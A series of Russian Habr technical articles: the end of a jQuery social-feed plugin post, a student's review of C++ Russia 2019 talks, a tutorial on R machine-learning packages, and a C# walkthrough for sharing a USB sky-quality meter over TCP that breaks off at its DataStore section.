// Moderation function - if returns false, template will have class hidden
moderation: function(content){
return (content.text) ? content.text.indexOf('fuck') == -1 : true;
},
//update\_period: 5000,
// When all the posts are collected and displayed - this function is evoked
callback: function(){
console.log('all posts are collected');
}
});
});
```
##### Внешний вид
В случае, если вы хотите отредактировать отображение сообщений, то вы можете отредактировать *template.html* файл вместе со стилями *css/jquery.socialfeed.css*.
Так же вы можете задать *html*-шаблон, добавив строковый параметр *template\_html* при инициализации плагина.
##### Зависимости
* [fontawesome.io](http://fontawesome.io/) — для отображения иконок социальных сетей,
* [momentjs.com](http://momentjs.com/) — для отображения времени публикации поста,
* [olado.github.io/doT](http://olado.github.io/doT/) — для рендринга *html*-темплейтов,
* [github.com/jublonet/codebird-js](https://github.com/jublonet/codebird-js) — для отправки запросов в *Twitter API*.
##### Лицензия
*MIT*
##### Исходный код
<https://github.com/pavelk2/social-feed/>.
Предыдущая версия этого плагина описывалась в [этой статье](http://habrahabr.ru/post/173117/). | https://habr.com/ru/post/239275/ | null | ru | null |
# Обзор докладов C++ Russia Piter 2019
В совместной [магистратуре](http://mse.itmo.ru/) ИТМО и JetBrains мы просим студентов, которые отправляются на конференцию, написать отчёт с обзором докладов.
Публикуем один из таких отчётов о конференции C++ Russia Piter 2019. Автор — студент 2 курса магистратуры Артём Хорошев.
В начале ноября я посетил конференцию cpp-russia-piter, ниже я расскажу о докладах, которые мне запомнились.
Роман Русяев: Исключения C++ через призму компиляторных оптимизаций
-------------------------------------------------------------------
Интересный доклад, в котором спикер на примере LLVM рассуждал на тему zero cost исключений в современном С++.
LLVM IR представляет программу как control-flow граф. В узлах графа расположены блоки инструкций, которые необходимо выполнить. В конце каждого блока присутствует терминатор, который передает управление следующему блоку. Терминатором может быть условный переход в другой блок, инструкция возврата или же специальная инструкция invoke, которая обладает семантикой вызова функции, и в случае успешного завершения переводит поток управления в один блок, а в случае исключения, указывает блок в который нужно перейти для его обработки. Инструкции в пределах блока обладают свойством, что если мы попали в блок, то мы выполним все инструкции, либо мы вообще не попадем в этот блок. Существуют оптимизации, которые могут работать только в пределах одного блока. В случае малых блоков они будут располагать меньшим контекстом, как следствие хуже производить оптимизации.
Докладчик рассказал, как современные компиляторы умеют преобразовывать инструкции invoke в инструкции call, которые уже не являются терминальными, и, как следствие, дают компилятору больше пространства для оптимизаций. Но, чтобы не надеяться на компилятор, можно самим написать у функции noexcept (если это корректно), чтобы быть уверенными, что компилятор выполнит все оптимизации.
[(слайды доклада)](https://assets.ctfassets.net/oxjq45e8ilak/6Q09SPvX2Rsveiayc1VkcC/ce9e2b8eb22d6693eb4c3b06968bedc0/100693_477384438_Roman_Rusyayev_Isklyucheniya_C_cherez_prizmu_kompilyatornykh_optimizatsiy.pdf)
Максим Хижинский: Жилье комфорт-класса для акторов и хендлеров
--------------------------------------------------------------
Докладчик ставил перед собой цель избавиться от ряда проблем, связанных с параллельным программированием:
* разделяемые данные,
* context switching,
* synchronizing,
* частое создание поток на лету для кратковременных нужд.
В итоге спикер предложил разбивать свою программу на компоненты, время жизни которых будет равно времени жизни программы, и компоненты помещать в “апартменты”, число которых должно быть равно числу потоков. Сами компоненты, как следствие, однопоточные, и общение между компонентами должно происходить через message passing. Я соглашусь, что это решает проблемы, но ценой того, что всю настройку своей программы мы должны произвести на момент компиляции. Как минимум, надо на момент компиляции равномерно распределить компоненты по “апартментам”, что в дальнейшем не дает системе перебалансироваться в зависимости от нагрузки. В итоге, по моему мнению, само решение выглядит не достаточно гибким.
[(слайды доклада)](https://assets.ctfassets.net/oxjq45e8ilak/4ZUD3DvQyHCk2bNNtnRt6w/d9b72f3459b9c1c744a4387e90f56a64/100645_18452947_Maksim_Khizhinskiy_Zhilye_komfort-klassa_dlya_aktorov_i_khendlerov.pdf)
Николай Белобородов: Применение slab-аллокаторов в высоконагруженных сетевых приложениях
----------------------------------------------------------------------------------------
Название говорит само за себя. Спикер рассказал, как они существенно увеличили быстродействие системы, используя [slab аллокатор](https://en.wikipedia.org/wiki/Slab_allocation). Slab аллокатор оперирует несколькими сущностями:
* slab — непрерывный участок памяти (обычно фиксированного размера), который разбивается на участки одинакового размера. Эти участки используются для хранения объектов одинакового размера,
* cache — список slab’ов с одинаковым разбиением,
* slab allocator — набор кешей.
Благодаря такому построению, объекты одинакового размера хранятся локально. Деаллокация устроена как пометка того, что конкретный участок слаба может быть переиспользован. Это позволяет избежать фрагментацию памяти.
Из такого определения slab аллокатора становится понятно, что он хорошо подходит для выделения освобождения объектов, размер которых лежит в ограниченном интервале. Например, выделяя каждый раз все больший и больший размер, будет создаваться новый кеш, старые кеши переиспользоваться не будут.
Докладчик рассказал, что из-за этого им пришлось отказаться от некоторых контейнеров, в пользу других. Например вектор был заменен на список, hashmap на дерево, но тем не менее, выигрыш в производительности всё равно был получен.
[(слайды доклада)](https://assets.ctfassets.net/oxjq45e8ilak/2fI4wLgo2MmwDRsj0Gjod7/5ed8bde194c04345f5c78c80550b48c4/100690_1341752961_Nikolay_Beloborodov_Primeneniye_slab-allokatorov_v_vysokonagruzhennykh_setevykh_prilozheniyakh.pdf)
Антон Полухин: C++ трюки из Такси
---------------------------------
Доклады Антона Полухина всегда интересны, а решения, которые он предлагает, выглядят качественно. В этот раз Антон показал, как можно улучшить паттерн pimpl с точки зрения динамической аллокации. Для этого необходимо разместить хранилище для объекта-имплементации в самом объекте. Напоминаю, что классический паттерн pimpl выглядит следующим образом:
```
// Foo.h
struct Foo {
Foo();
private:
struct Foo_impl; //forward declaration
std::unique_ptr impl;
};
// Foo.cpp
//implementation
struct Foo::Foo\_impl {
};
```
Хотим избавится от динамической аллокации, для этого подготовим место заранее прямо в объекте Foo:
```
// Foo.h
struct Foo {
Foo();
private:
struct Foo_impl; //forward declaration
std::aligned_storage_t impl;
};
// Foo.cpp
//implementation
struct Foo::Foo\_impl {
}
```
Такой способ работать не будет, так как у нас нет полной информации о типе Foo\_impl в Foo.h и будет получена ошибка компиляции. Единственное решение, которое остается — угадать размер хранилища заранее.
```
// Foo.h
struct Foo {
Foo();
private:
struct Foo_impl; //forward declaration
constexpr std::size_t kImplSize = 32;
constexpr std::size_t kImplAlign = 8;
std::aligned_storage_t impl;
};
// Foo.cpp
//implementation
struct Foo::Foo\_impl {
}
```
Но необходимо добавить проверку, что размер все таки правильный. Это нужно, так как попытка разместить объект в неподходящем для него буфере — UB.
```
// Foo.h
struct Foo {
Foo();
~Foo();
private:
constexpr std::size_t kImplSize = 32;
constexpr std::size_t kImplAlign = 8;
struct Foo_impl; //forward declaration
std::aligned_storage_t impl;
};
// Foo.cpp
//implementation
struct Foo::Foo\_impl {
}
struct Foo::~Foo() {
static\_assert(kImplSize==sizeof(Foo\_impl),"Size and sizeof(T) mismatch");
static\_assert(kImplAlign==alignof(kImplAlign),"Alignment and alignof(T) mismatch");
// call destructor of Foo\_impl
}
```
Делаем проверку в cpp файле, и если что-то указано неверно, завершаемся с ошибкой компиляции, и выводим правильный размер структуры, чтобы программист со второй попытки точно смог угадать.
Антон показал, как сделать свою библиотеку сериализации в различные форматы удобной, всего лишь не забыв про особенность ADL: при наличии шаблонных параметров у аргументов функции, функция будет искаться в пространстве имен параметров этих аргументов.
[(слайды доклада)](https://assets.ctfassets.net/oxjq45e8ilak/4rkoaQV6ancsfvzYx1fOCF/087dda7d63101cc225d706d03d7c5075/100566_2093066332_Anton_Polukhin_C_tryuki_iz_Taksi.pdf)
Eric Niebler: A unifying abstraction for async in C++
-----------------------------------------------------
Интересный доклад, в котором рассмотрены проблемы асинхронных абстракций в существующем стандарте языка: почему future и promise медленные, и можем ли мы спроектировать библиотеку так, чтобы избежать этих оверхедов. У разработчиков в facebook, кажется, получилось достойное решение <https://github.com/facebookexperimental/libunifex>
[(слайды доклада)](https://downloads.ctfassets.net/oxjq45e8ilak/7t4EOuNTYQ6EdOGL29JIjD/e84cd20b1613cabd4e996c50be2646f5/100546_1679046287_Eric_Niebler_A_unifying_abstraction_for_async_in_C.pdf)
Дмитрий Кожевников и Андрей Давыдов: Два доклада про модули
-----------------------------------------------------------
В программе было два подряд идущих доклада про модули. После прослушивания обоих докладов стало понятно, что модули еще не готовы к использованию. Меня это немного расстроило, так как я в принципе не интересовался как реализуется эта новая фича языка, и думал, что выйдет С++20 и сразу будет готова к использованию. К сожалению, оказалось, это не так.
(слайды докладов: [1](https://assets.ctfassets.net/oxjq45e8ilak/5gShGYJh9P0cIJZxfTgHu0/92cb2eeec856eef5833e588090d22559/100558_1104503204_Dmitriy_Kozhevnikov_Moduli_v_S20__pravda_ili_vymysel.pdf), [2](https://downloads.ctfassets.net/oxjq45e8ilak/76buZHU0KEcucSJ7iLt0M0/6612f35172b8b70ce5e8c6800b53ce5a/100581_45993991_Andrey_Davydov_Moduli_izmeneniya_v_core_language.pdf))
Заключение
----------
Прошедшая конференция порадовала интересными примерами использования известных особенностей языка. Большое количество докладов было о фишках из следующего стандарта — С++20. Это, безусловно, очень пригодится всем разработчикам на С++. | https://habr.com/ru/post/480798/ | null | ru | null |
# Лучшие пакеты для машинного обучения в R, часть 2
Один из наиболее частых вопросов, с которыми сталкиваются специалисты по обработке и анализу данных — «Какой язык программирования лучше всего использовать для решения задач, связанных с машинным обучением?» Ответ на этот вопрос всегда приводит к сложному выбору между R, Python и MATLAB. Вообще говоря, никто не может дать объективный ответ, какой же язык программирования лучше. Конечно, язык, который вы выбираете для машинного обучения, зависит от ограничений конкретной задачи и данных, предпочтений самого специалиста и тех методов машинного обучения, которые нужно будет применить. Согласно опросу о любимом инструменте пользователей [Kaggle](https://www.kaggle.com/) для решения задач анализа данных R предпочитают 543 из 1714.
Сейчас в [CRAN](https://cran.r-project.org/) доступен 8341 пакет. Кроме [CRAN](https://cran.r-project.org/), есть и другие репозитории с большим количеством пакетов. Синтаксис для установки любого из них прост: `install.packages(“Name_Of_R_Package”)`.
Вот несколько пакетов, без которых вы вряд ли обойдетесь, как специалист по анализу данных: `dplyr, ggplot2, reshape2`. Безусловно, это не полный список. В этой статье мы подробнее остановимся на пакетах, применяемых в машинном обучении.
#### 5. `randomForest`: собрать много деревьев в лес
Алгоритм случайного леса — один из наиболее широко используемых алгоритмов машинного обучения. Пакет randomForest используется для создания большого количества деревьев решений, после чего каждое наблюдаемое значение помещается в дерево. Результат, содержащий наибольшее количество значений, считается финальным. Для применения алгоритма randomForest нужно убедиться, что все переменные являются либо числовыми, либо факторными. Фактор не может иметь более 32 уровней, если используется randomForest.
Как вы, возможно, знаете, алгоритм случайного леса берет случайные наборы переменных и значений и строит много деревьев. В конце концов эти деревья объединяются, и на основании лучшего решения определяется класс зависимой переменной.
Давайте возьмем для примера набор данных iris, чтобы построить случайный лес с помощью пакета randomForest.
```
Rf_fit<-randomForest(formula=Species~., data=iris)
```
Нужно выполнить строку кода по аналогии с остальными пакетами, и можно применять алгоритм случайного леса. Давайте посмотрим, как он работает.
```
print(Rf_fit)
```
```
Call:
randomForest(formula = Species ~ ., data = iris)
Type of random forest: classification
Number of trees: 500
No. of variables tried at each split: 2
OOB estimate of error rate: 4.67%
Confusion matrix:
setosa versicolor virginica class.error
setosa 50 0 0 0.00
versicolor 0 47 3 0.06
virginica 0 4 46 0.08
```
```
importance(Rf_fit)
```
```
MeanDecreaseGini
Sepal.Length 10.200682
Sepal.Width 2.673111
Petal.Length 43.116951
Petal.Width 43.246585
```
Возможно, потребуется варьировать разные управляющие параметры randomForest, например, количество переменных в каждом дереве, количество деревьев, которые нужно построить, и т.д. Обычно специалисты по анализу данных выполняют несколько итераций и выбирают наилучшую комбинацию.
#### 6. `nnet`: все дело в скрытых уровнях
Это наиболее широко используемый и легкий для восприятия пакет для работы с нейронными сетями, но его ограничение — один уровень узлов. Однако, согласно некоторым исследованиям, больше и не требуется, поскольку они не только не добавляют модели производительности, но и увеличивают время вычисления и сложность модели.
Этот пакет не предоставляет никаких специальных методов для определения количества узлов на скрытом уровне. Поэтому когда специалисты по работе с большими данными применяют nnet, всегда предполагается, что нужно указать значение, лежащее между количеством входных и выходных узлов. Пакет nnet предоставляет реализацию алгоритма искусственных нейронных сетей (Artificial Neural Networks, ANNs), который создан исходя из знания о том, как работает человеческий мозг, на основе входных и выходных сигналов. ANNs широко применяется для прогнозирования в авиации. В частности, нейронные сети дают лучшие результаты прогнозирования с применением функций nnet, чем стандартных методов прогнозирования, таких как экспоненциальное сглаживание, регрессия, т.д.
В R есть много пакетов для построения нейронных сетей, например, nnet, neuralnet, RSNNS. Давайте снова воспользуемся для примера набором данных iris (подозреваю, он вам уже надоел). Попробуем спрогнозировать Species с nnet и посмотреть, как это выглядит.
```
nnet_model <- nnet(Species~., data=iris, size = 10)
```
В выходной нейронной сети можно увидеть 10 скрытых слоев, т.к. мы установили size=10 при построении нейронной сети.
К сожалению, легкого пути построить полученную нейронную сеть нет, но на github есть множество специальных функций для этой цели. Например, для построения сети выше была использована [эта](https://gist.githubusercontent.com/fawda123/7471137/raw/466c1474d0a505ff044412703516c34f1a4684a5/nnet_plot_update.r).
#### 7. `e1071`: векторы как опора для вашей модели
Это очень важный пакет языка R, в котором есть специальные функции для реализации наивного классификатора Байеса (условная вероятность), метода опорных векторов (Support Vector Machines, SVM), Фурье-преобразования, нечеткой кластеризации и т.д. Скажем, первая реализация SVM в R была именно в пакете e1071. Отлично подходит для случаев, когда, допустим, нужно определить, какова вероятность того, что человек, купивший iPhone 6S, также купит чехол для него.
Этот вид анализа основан на условной вероятности, поэтому специалисты по анализу данных используют пакет e1071, где есть функции, реализующие наивный классификатор Байеса.
Метод опорных векторов пригодится, если ваш набор данных не разделяется в исходной размерности, и вам нужно привести данные к более высокой размерности, чтобы воспользоваться методами классификации или регрессии. SVM использует кернфункции (для оптимизации математических операций) и максимизирует расстояние между двумя классами.
Синтаксис функций, реализующих SVM, аналогичен:
```
svm_model <- svm(Species ~Sepal.Length + Sepal.Width, data=iris)
```
Для визуализации SVM воспользуемся функцией `plot()` с соответствующими данными:
```
plot(svm_model, data = iris[,c(1,2,5)])
```
На графике выше четко видны границы, полученные после применения SVM к данным iris.
Есть множество параметров, которые вам, возможно, придется менять, чтобы получить наилучшую точность (kernel, cost, gamma, coefficients и др.). Для получения хорошей классификации с помощью SVM придется поэкспериментировать со многими из этих параметров: скажем, kernel может принимать разные значения — linear, Gaussian, Cosine.
#### 8. `kernLab`: хорошо упакованное ядро
Kernlab использует преимущества объектной модели S4 в R, чтобы специалисты по анализу данных могли воспользоваться алгоритмами машинного обучения на основании ядер. В Kernlab есть реализации SVM, ядерного анализа, примитивов скалярного произведения, алгоритма ранжирования, гауссовых процессов и алгоритма спектральной кластеризации. Методы машинного обучения на основании ядер применяются, когда сложно решить задачи классификации, кластеризации и регрессии в пространстве результатов наблюдений.
Пакет Kernlab широко используется как реализация SVM, облегчающая задачу распознавания образов. Есть множество кернфункций, например, tanhdot (гиперболическая тангенсная кернфункция), polydot (полиномиальная кернфункция), laplacedot (кернфункция Лапласа) и другие, применяемые в распознавании образов.
Кернфункции чрезвычайно важны для SVM. Этот метод без них был бы невозможен.
SVM — не единственная техника, использующая ядра. Есть много других полезных и известных алгоритмов на основании ядер, таких как метод случайных вихрей (random vortex method, RVM), ядерный анализ главных компонент, уменьшение размерности, т.д. Пакет kernLab содержит порядка 20 таких алгоритмов. В kernLab есть свои предопределенные ядра, но пользователь может создавать и использовать свои собственные кернфункции.
Давайте инициализируем свою собственную радиальную базисную функцию среднеквадратическим значением 0,01.
```
Myrbf <- rbfdot(sigma = 0.01)
Myrbf
```
```
Gaussian Radial Basis kernel function.
Hyperparameter : sigma = 0.01
```
Можно узнать класс Myrbf, просто применив функцию `class()` к только что созданному объекту.
```
class(Myrbf)
```
```
[1] "rbfkernel"
attr(,"package")
[1] "kernlab"
```
Каждое ядро принимает на вход два вектора и возвращает их скалярное произведение. Давайте зададим два вектора и увидим их скалярное произведение.
```
x<-rnorm(10)
y<-rnorm(10)
Myrbf(x,y)
```
```
[,1]
[1,] 0.8443782
```
Мы создали две случайных нормально распределенных переменных, х и у, каждая с 10 значениями, и вычислили их скалярное произведение с помощью кернфункции Myrbf.
Давайте посмотрим на SVM с применением кернфункции Myrbf. Снова воспользуемся набором данных iris, чтобы понять, как работает SVM с применением kernLab.
```
Kernlab_svm <- ksvm(Species ~ Sepal.Length + Sepal.Width, data = iris, kernel = Myrbf, C=4)
Kernlab_svm
```
```
Support Vector Machine object of class "ksvm"
SV type: C-svc (classification)
parameter : cost C = 4
Gaussian Radial Basis kernel function.
Hyperparameter : sigma = 0.01
Number of Support Vectors : 103
Objective Function Value : -95.3715 -70.6262 -291.6249
Training error : 0.2
```
Давайте используем построенную только что SVM для прогнозирования:
```
predicted<-predict(Kernlab_svm,iris)
table(predicted = predicted, true = iris$Species)
```
```
true
predicted setosa versicolor virginica
setosa 49 0 0
versicolor 1 37 16
virginica 0 13 34
```
#### Заключение
Каждый пакет или функция в R имеет свои значения по умолчанию. Перед тем, как применять какой бы то ни было алгоритм, имеет смысл узнать, какие опции доступны. Значения по умолчанию дадут вам какой-то результат, но нет уверенности, что он будет наиболее оптимальным или точным.
В [CRAN](https://cran.r-project.org/) есть и другие пакеты для машинного обучения, например, `igraph, glmnet, gbm, tree, CORElearn, mboost` и др. Они применяются в различных сферах для построения наиболее эффективных моделей. Можно столкнуться с ситуациями, когда изменение одного параметра полностью поменяет вид выходных данных. Поэтому не стоит так уж полагаться на значения по умолчанию: изучите свои данные и требования, прежде чем применять какой-то алгоритм. | https://habr.com/ru/post/306184/ | null | ru | null |
# Расшаривание USB-устройства по нескольким клиентам через TCP
[](https://habr.com/ru/company/ruvds/blog/669408/)
Будучи увлечённым астрофотографом, я использовал в комплекте оборудования USB Sky Quality Meter (измеритель качества неба), и однажды мне потребовалось организовать к нему общий доступ от нескольких профильных приложений. Однако я не хотел заменять его на Ethernet-версию или докупать такой для каждой установки, поэтому решил просто написать собственную программу.
Предыстория
-----------
Спустя 10 лет с последнего момента использования С# (это было приложение UltraDynamo на соревновании Intel App в 2012), я решил тряхнуть стариной и обновил Visual Studio до последней версии, чтобы попробовать решить возникшую передо мной задачу. Так что код получился не особо аккуратный, с неудачной структурой и т.д., но он работает, а это сейчас для меня самое главное – так как задача была решена!
Введение
--------
Астрофотографией я увлёкся относительно недавно — в 2020 году. Занятие это непростое, но необходимые усилия оправдываются сторицей, и в свободное время я погружаюсь в него с головой. Да, иногда оборудование намекает на то, что ему бы не помешала обработка кувалдой, но именно в этом и есть вызов. Честно говоря, за последние два года мой запал настолько разыгрался, что изначальный набор из телескопа и камеры превратился в глобальный комплект оборудования – я раскошелился с кредитки на покупку телескопа, охлаждаемых астрокамер, новых монтировок и даже построил в саду обсерваторию.
По мере прироста нового оборудования я перешёл от одной к двум полностью функциональным установкам, которые использую постоянно. У меня есть из чего собрать и третью, но управления двумя по вечерам и так хватает за глаза.
Вот здесь и возникла тема для текущей статьи.
В чём суть
----------
Среди приобретённого мной оборудования был [Unihedron Sky Quality Meter](http://www.unihedron.com/), устройство, которое мониторит яркость неба, позволяя следить за изменением его освещённости, и подбирать достаточно тёмное время для ведения съёмки ([мануал](http://www.unihedron.com/projects/darksky/cd/SQM-LU/SQM-LU_Users_manual.pdf)). При этом также можно наблюдать, как на небосвод влияет яркость Луны, и оценивать общую засветку.
В моём распоряжении была USB-версия этого устройства, которая подключается к ПК/ноутбуку, после чего специальное ПО для астрофотографии вроде [APT](https://astrophotography.app/) или [N.I.N.A.](https://nighttime-imaging.eu/) может считывать передаваемые им данные, встраивая их в заголовок файла формата FITS. Этот файл в последствии можно просмотреть, чтобы проверить, почему конкретный кадр или серия кадров имеют разную чёткость и прочие характеристики – возникли облака, сосед включил фонарь и т.д.
С течением времени я собрал второй комплект для астрофотографии, включая телескоп, и не хотел идти покупать ещё один измеритель освещённости, либо заменять имеющийся на Ethernet-версию.
Изначально я попробовал решить проблему с помощью небольшого приложения, которое нашёл в сети – SerialToIP. Однако этот инструмент оказался ненадёжен и подвержен различным ошибкам.
Производители Sky Quality Meter (SQM) опубликовали протокол последовательной передачи, используемый этим устройством, поэтому я решил, что попробую написать собственное приложение, которое сможет обслуживать запросы от клиентов по TCP и считывать данные с устройства, возвращая на эти запросы необходимую информацию.
Для взаимодействия между различными видами астрономического оборудования была разработана платформа универсальных стандартов для астрономии [ASCOM](https://ascom-standards.org/). [Dizzy Astronomy](http://www.dizzy.eu/) написал для устройств SQM драйвер ASCOM, который позволяет специализированным инструментам (тем же APT и N.I.N.A.) считывать измеряемые SQM данные по TCP. Причём этот драйвер можно настроить для считывания непосредственно с USB или Ethernet-устройств.
Описываемое в этой статье приложение располагается между драйвером ASCOM и устройством, чтобы представлять его в виде Ethernet-версии, тем самым позволяя работать с ним нескольким клиентам.
Само USB-устройство подключается к компьютеру-хосту первой установки астросъёмки (Rig 1), после чего программное обеспечение каждой установки направляется на настроенный IP/Port хоста Rig 1.
Как это приложение выглядит?
----------------------------
Прежде чем переходить к деталям реализации, покажу вам его наглядно. Вот основной экран:
Здесь располагается меню для доступа к различным настройкам, а две верхние панели дают возможность подключать/отключать USB-устройство и запускать/останавливать серверную часть.
Оба этих раздела также показывают последнее необработанное сообщение, полученное от устройства или от клиента.
Диаграмма отражает историю точек данных, позволяя наглядно наблюдать изменение освещённости, температуры и вычисляемой “Naked Eye Limiting Magnitude” (предельной звёздной величины, видимой невооружённым глазом).
Помимо состояния неба, программа отражает статус подключения и сервера, выполнение запроса или передачу ответа, а также количество записей в пуле памяти.
Экраны конфигурации являются стандартным пунктом настройки, где вы выставляете COM-порты, ip-порты, цвета диаграммы, каталоги для логирования и количество удерживаемых в памяти точек данных.
Структура приложения
--------------------
Так выглядит общая блок-схема приложения:
Передачу данных между компонентами я реализовал с помощью системы событий, разбив основные элементы на отдельные классы, при необходимости выполняющиеся в собственных потоках.
* `SerialManager` обрабатывает коммуникацию с USB-устройством;
* `NetworkManager` обрабатывает клиентскую коммуникацию;
* `SettingsManager` координирует все настройки приложения, сохраняя их на диске.
* `DataStore` прослушивает сообщения событий для сохранения записей в памяти и, если установлено, на диск;
* `Trend` представляет пользовательское управление, которое работает поверх основной формы.
Теперь всё по порядку.
### SerialManager
После настройки и подключения последовательного порта `SerialManager` начинает опрашивать USB-устройство по указанному внутреннему адресу. Опрос реализуется с использованием простого `Timer`. При этом в протоколе задействуются три разных команды: `ix`, `rx`, `ux`. За выполнение опроса отвечает метод `SendMail`.
Немного о командах:
* `ix` возвращает информацию об устройстве, такую как версия протокола и серийный номер.
* `rx` возвращает данные о текущем качестве неба, а также температуру и показания частоты, используемые внутренне для вычисления его значения.
* `ux` возвращает информацию, относящуюся к неусредненным показаниям точек данных.
```
public static bool SendCommand(string command )
{
if (instance == null) return false;
string[] validCommands = new string[] { "ix", "rx", "ux" };
if (!validCommands.Contains(command))
{
System.Diagnostics.Debug.WriteLine($"Invalid Command: '{command}'");
return false;
}
retry_send_message:
//Информация устройства
if (_serialPort.IsOpen)
{
System.Diagnostics.Debug.WriteLine($"Sending command '{command}'");
instance.TriggerSerialPollBegin();
_serialPort.WriteLine(command);
instance._noResponseTimer.Start();
return true;
}
else
{
//Порт закрыт, попытка переподключения
System.Diagnostics.Debug.WriteLine("Port Closed. no command sent");
int retryCounter=0;
while (!_serialPort.IsOpen)
{
retryCounter += 1;
if (retryCounter > 20)
{ break; }
System.Diagnostics.Debug.WriteLine
($"Attempting to reconnect serial. Attempt: {retryCounter}");
instance._connectionState = SerialConnectedStates.Retry; // "повтор";
instance.TriggerSerialStateChangeEvent();
try {
//Нужно ожидать повторного открытия порта/подключения
if (System.IO.Ports.SerialPort.GetPortNames().Contains
(_serialPortName))
{
_serialPort.Open();
}
else
{
System.Diagnostics.Debug.WriteLine
("Waiting for port to re-appear/connected");
}
}
catch ( Exception ex)
{
System.Diagnostics.Debug.WriteLine(ex.ToString());
}
if (_serialPort.IsOpen)
{
instance._connectionState =
SerialConnectedStates.Connected; // "подключено";
instance.TriggerSerialStateChangeEvent();
goto retry_send_message;
}
Thread.Sleep(1000);
}
System.Diagnostics.Debug.WriteLine
($"Reconnect serial failed. {retryCounter}");
//Счётчик повторных попыток исчерпан
return false;
}
}
```
В коде выше видно, что при отправке команды мы устанавливаем флаг, и таймер начинает проверять получение валидного ответа в течение заданного промежутка времени. Задержка возможна, к примеру, когда COM-порт успешно открылся, но передаваемые данные получателем не распознаются.
Полученный ответ парсится и его содержимое проверяется. После эти данные упаковываются в `EventArgs`, и вызывается событие, позволяющее `DataStore` поместить их в хранилище, по одной записи для каждого ответа.
Типичный ответ выглядит так:
```
r, 06.70m,0000022921Hz,0000000020c,0000000.000s, 039.4C
```
В данном примере первая буква означает исходную команду, на которую возвращён ответ, здесь это `rx`. При этом ответ парсится, и из него извлекается только нужная информация. В текущем ответе это будет `06.7` и `039.4C`.
* 06.7 – это показатель качества неба, отражаемый в величине, поделённой на секунду дуги в квадрате.
* 039.4C – это температура в градусах Цельсия.
Завершаются ответы управляющей последовательностью `\r\n`.
Полученные данные прогоняются через обработчик событий, который закрепляется за `SerialPort` при открытии соединения.
```
private static void SerialDataReceivedHandler
(object sender, System.IO.Ports.SerialDataReceivedEventArgs e)
{
if (instance == null) return;
string data = _serialPort.ReadLine();
//Обновляем хранилище последних показаний SQM
if (data.StartsWith("i,"))
{
//команда ix
instance._noResponseTimer.Stop();
SQMLatestMessageReading.SetReading("ix", data);
}
else if (data.StartsWith("r,"))
{
//команда rx
instance._noResponseTimer.Stop();
SQMLatestMessageReading.SetReading("rx", data);
}
else if (data.StartsWith("u,"))
{
//команда ux
instance._noResponseTimer.Stop();
SQMLatestMessageReading.SetReading("ux", data);
}
instance.TriggerSerialDataReceivedEvent(data);
instance.TriggerSerialPollEnd();
}
```
### NetworkManager
`NetworkManager` устанавливает на порту слушателя и ожидает запросы от клиентов.
```
private void StartNetworkServer()
{
if (instance == null) return;
IPEndPoint localEndPoint = new(IPAddress.Any, _serverPort);
System.Diagnostics.Debug.WriteLine("Opening listener...");
_serverState = Enums.ServerRunningStates.Running;
TriggerStateChangeEvent();
listener = new Socket(localEndPoint.Address.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);
try
{
listener.Bind(localEndPoint);
listener.Listen();
instance.token.Register(CancelServer);
instance.token.ThrowIfCancellationRequested();
while (!instance.token.IsCancellationRequested)
{
allDone.Reset();
System.Diagnostics.Debug.WriteLine("Waiting for connection...");
listener.BeginAccept(new AsyncCallback(AcceptCallback), listener);
allDone.WaitOne();
}
}
catch (Exception e)
{
System.Diagnostics.Debug.WriteLine(e.ToString());
}
finally
{
listener.Close();
}
System.Diagnostics.Debug.WriteLine("Closing listener...");
_serverState = Enums.ServerRunningStates.Stopped;
}
```
При подключении клиента обрабатывается обратный вызов, запрос клиента проверяется на наличие актуальных команд (`ix`, `rx` или `ux`), и в ответ отправляются последние данные из хранилища.
```
private static void AcceptCallback(IAsyncResult ar)
{
if (instance == null) return;
try
{
// Клиент подключился
_clientCount++;
instance.TriggerStateChangeEvent();
// Получаем сокет, обрабатывающий запрос клиента
if (ar.AsyncState == null) return;
Socket listener = (Socket)ar.AsyncState;
Socket handler = listener.EndAccept(ar);
// Сигнализируем основному потоку, что можно продолжать
instance.allDone.Set();
// Создаём объект состояния
StateObject state = new();
state.WorkSocket = handler;
while (_serverState == Enums.ServerRunningStates.Running)
{
if (state.WorkSocket.Available > 0)
{
handler.Receive(state.buffer);
state.sb.Clear(); //Очищаем построитель строк
state.sb.Append
(Encoding.UTF8.GetString(state.buffer)); //Перемещаем буфер в построитель строк для обработки
state.buffer = new byte[StateObject.BufferSize];//Очищаем буфер, подготавливая его к следующему входящему сообщению
}
if (state.sb.Length > 0)
{
int byteCountSent = 0;
string? latestMessage;
//Временные обработчики тестовых сообщений
if (state.sb.ToString().StartsWith("ix")) //Encoding.UTF8.
//GetString(state.buffer)
{
instance._serverLastMessage =
$"{state.WorkSocket.RemoteEndPoint}: ix";
instance.TriggerServerMessageReceived();
SQMLatestMessageReading.GetReading("ix", out latestMessage);
latestMessage += "\n"; //Добавляем перевод строки, так как он где-то удаляется
byteCountSent = handler.Send(Encoding.UTF8.GetBytes
(latestMessage), latestMessage.Length, SocketFlags.None);
}
if (state.sb.ToString().StartsWith("rx")) //
{
instance._serverLastMessage =
$"{state.WorkSocket.RemoteEndPoint}: rx";
instance.TriggerServerMessageReceived();
SQMLatestMessageReading.GetReading("rx", out latestMessage);
latestMessage += "\n";
byteCountSent = handler.Send
(Encoding.UTF8.GetBytes(latestMessage),
latestMessage.Length, SocketFlags.None);
}
if (state.sb.ToString().StartsWith("ux")) //
{
instance._serverLastMessage =
$"{state.WorkSocket.RemoteEndPoint}: ux";
instance.TriggerServerMessageReceived();
SQMLatestMessageReading.GetReading("ux", out latestMessage);
latestMessage += "\n";
byteCountSent = handler.Send(Encoding.UTF8.GetBytes
(latestMessage), latestMessage.Length, SocketFlags.None);
}
Thread.Sleep(250);
}
}
//handler.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0,
// новый AsyncCallback(ReadCallback), state);
}
catch (SocketException ex)
{
System.Diagnostics.Debug.WriteLine
($"Socket Error: {ex.ErrorCode}, {ex.Message}");
//Info: https://docs.microsoft.com/en-us/dotnet/api/
//system.net.sockets.socketerror?view=net-6.0
//10053 = подключение было сброшено .NET или провайдером сокета
if (instance != null)
{
_clientCount--;
if (_clientCount < 0)
{
_clientCount = 0;
}
instance.TriggerStateChangeEvent();
}
}
catch (ObjectDisposedException ex)
{
System.Diagnostics.Debug.WriteLine(ex.ToString());
//Перехватываем и сохраняем это при закрытии формы
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine(ex.ToString());
throw;
//Оставляем для будущих необработанных условий на случай необходимых изменений
}
}
```
### DataStore
